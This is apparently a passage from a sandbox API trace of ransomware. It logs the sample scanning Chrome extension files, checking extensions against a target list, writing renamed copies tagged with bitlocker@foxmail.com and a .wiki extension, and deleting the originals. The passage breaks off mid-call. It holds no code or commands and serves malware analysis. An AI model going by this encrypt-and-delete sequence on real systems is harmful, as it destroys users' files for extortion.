lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.356] lstrlenW (lpString=".1cd") returned 4 [0175.356] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.356] lstrlenW (lpString=".jpg") returned 4 [0175.356] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.356] lstrlenW (lpString=".doc") returned 4 [0175.356] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.356] lstrlenW (lpString=".docx") returned 5 [0175.356] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.356] lstrlenW (lpString=".pdf") returned 4 [0175.356] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.356] lstrlenW (lpString=".xls") returned 4 [0175.356] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.356] lstrlenW (lpString=".xlsx") returned 5 [0175.356] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.356] lstrlenW (lpString=".ppt") returned 4 [0175.357] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.357] lstrlenW (lpString=".zip") returned 4 [0175.357] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.357] lstrlenW (lpString=".rar") returned 4 [0175.357] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.357] lstrlenW (lpString=".bz2") returned 4 [0175.357] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.357] lstrlenW (lpString=".7z") returned 3 [0175.357] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.357] lstrlenW (lpString=".dbf") returned 4 [0175.357] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.357] lstrlenW (lpString=".1cd") returned 4 [0175.357] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.357] lstrlenW (lpString=".jpg") returned 4 [0175.357] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.357] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.357] lstrlenW (lpString="messages.json") returned 13 [0175.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.358] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=236) returned 1 [0175.358] CloseHandle (hObject=0x19c) returned 1 [0175.358] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json")) returned 0x2020 [0175.358] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.358] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.358] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.361] GetLastError () returned 0x0 [0175.361] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xec, lpOverlapped=0x0) returned 1 [0175.362] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.363] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.363] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.363] SetEndOfFile (hFile=0x2dc) returned 1 [0175.363] CloseHandle (hObject=0x2dc) returned 1 [0175.363] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.363] SetEndOfFile (hFile=0x19c) returned 1 [0175.364] CloseHandle (hObject=0x19c) returned 1 [0175.364] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.364] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json")) returned 1 [0175.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.364] lstrlenW (lpString=".doc") returned 4 [0175.364] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.365] lstrlenW (lpString=".docx") returned 5 [0175.365] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.365] lstrlenW (lpString=".pdf") returned 4 [0175.365] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.365] lstrlenW (lpString=".xls") returned 4 [0175.365] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.365] lstrlenW (lpString=".xlsx") returned 5 [0175.365] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.365] lstrlenW (lpString=".ppt") returned 4 [0175.365] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.365] lstrlenW (lpString=".zip") returned 4 [0175.365] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.365] lstrlenW (lpString=".rar") returned 4 [0175.365] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.365] lstrlenW (lpString=".bz2") returned 4 [0175.365] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.365] lstrlenW (lpString=".7z") returned 3 [0175.365] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.365] lstrlenW (lpString=".dbf") returned 4 [0175.365] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.365] lstrlenW (lpString=".1cd") returned 4 [0175.365] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.365] lstrlenW (lpString=".jpg") returned 4 [0175.365] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.366] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.366] lstrlenW (lpString=".doc") returned 4 [0175.366] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.366] lstrlenW (lpString=".docx") returned 5 [0175.366] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.366] lstrlenW (lpString=".pdf") returned 4 [0175.366] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.366] lstrlenW (lpString=".xls") returned 4 [0175.366] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.366] lstrlenW (lpString=".xlsx") returned 5 [0175.366] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.366] lstrlenW (lpString=".ppt") returned 4 [0175.366] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.366] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.366] lstrlenW (lpString=".zip") returned 4 [0175.366] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.366] lstrlenW (lpString=".rar") returned 4 [0175.366] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.366] lstrlenW (lpString=".bz2") returned 4 [0175.366] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.366] lstrlenW (lpString=".7z") returned 3 [0175.366] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.366] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.366] lstrlenW (lpString=".dbf") returned 4 [0175.366] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.366] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.366] lstrlenW (lpString=".1cd") returned 4 [0175.366] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.366] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 151 [0175.497] lstrlenW (lpString=".jpg") returned 4 [0175.497] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.497] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0175.497] lstrlenW (lpString="128.png") returned 7 [0175.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.497] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4984) returned 1 [0175.497] CloseHandle (hObject=0x1ac) returned 1 [0175.497] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png")) returned 0x2020 [0175.497] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.498] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.498] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.498] GetLastError () returned 0x0 [0175.498] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x1378, lpOverlapped=0x0) returned 1 [0175.500] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0175.501] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.501] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0175.501] SetEndOfFile (hFile=0x19c) returned 1 [0175.501] CloseHandle (hObject=0x19c) returned 1 [0175.501] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.501] SetEndOfFile (hFile=0x1ac) returned 1 [0175.502] CloseHandle (hObject=0x1ac) returned 1 [0175.502] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.502] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png")) returned 1 [0175.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.503] lstrlenW (lpString=".doc") returned 4 [0175.503] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0175.503] lstrlenW (lpString=".docx") returned 5 [0175.503] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0175.503] lstrlenW (lpString=".pdf") returned 4 [0175.503] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0175.503] lstrlenW (lpString=".xls") returned 4 [0175.503] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0175.503] lstrlenW (lpString=".xlsx") returned 5 [0175.503] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0175.503] lstrlenW (lpString=".ppt") returned 4 [0175.503] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0175.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.503] lstrlenW (lpString=".zip") returned 4 [0175.503] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0175.503] lstrlenW (lpString=".rar") returned 4 [0175.503] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0175.503] lstrlenW (lpString=".bz2") returned 4 [0175.503] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0175.503] lstrlenW (lpString=".7z") returned 3 [0175.503] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0175.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.503] lstrlenW (lpString=".dbf") returned 4 [0175.503] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0175.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.503] lstrlenW (lpString=".1cd") returned 4 [0175.503] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0175.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.503] lstrlenW (lpString=".jpg") returned 4 [0175.503] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0175.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.504] lstrlenW (lpString=".doc") returned 4 [0175.504] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0175.504] lstrlenW (lpString=".docx") returned 5 [0175.504] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0175.504] lstrlenW (lpString=".pdf") returned 4 [0175.504] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0175.504] lstrlenW (lpString=".xls") returned 4 [0175.504] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0175.504] lstrlenW (lpString=".xlsx") returned 5 [0175.504] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0175.504] lstrlenW (lpString=".ppt") returned 4 [0175.504] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0175.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.504] lstrlenW (lpString=".zip") returned 4 [0175.504] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0175.504] lstrlenW (lpString=".rar") returned 4 [0175.504] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0175.504] lstrlenW (lpString=".bz2") returned 4 [0175.504] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0175.504] lstrlenW (lpString=".7z") returned 3 [0175.504] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0175.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.504] lstrlenW (lpString=".dbf") returned 4 [0175.504] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0175.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.505] lstrlenW (lpString=".1cd") returned 4 [0175.505] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0175.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 133 [0175.505] lstrlenW (lpString=".jpg") returned 4 [0175.505] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0175.505] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0175.505] lstrlenW (lpString="contentscript_bin_prod.js") returned 25 [0175.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.506] GetFileSizeEx (in: 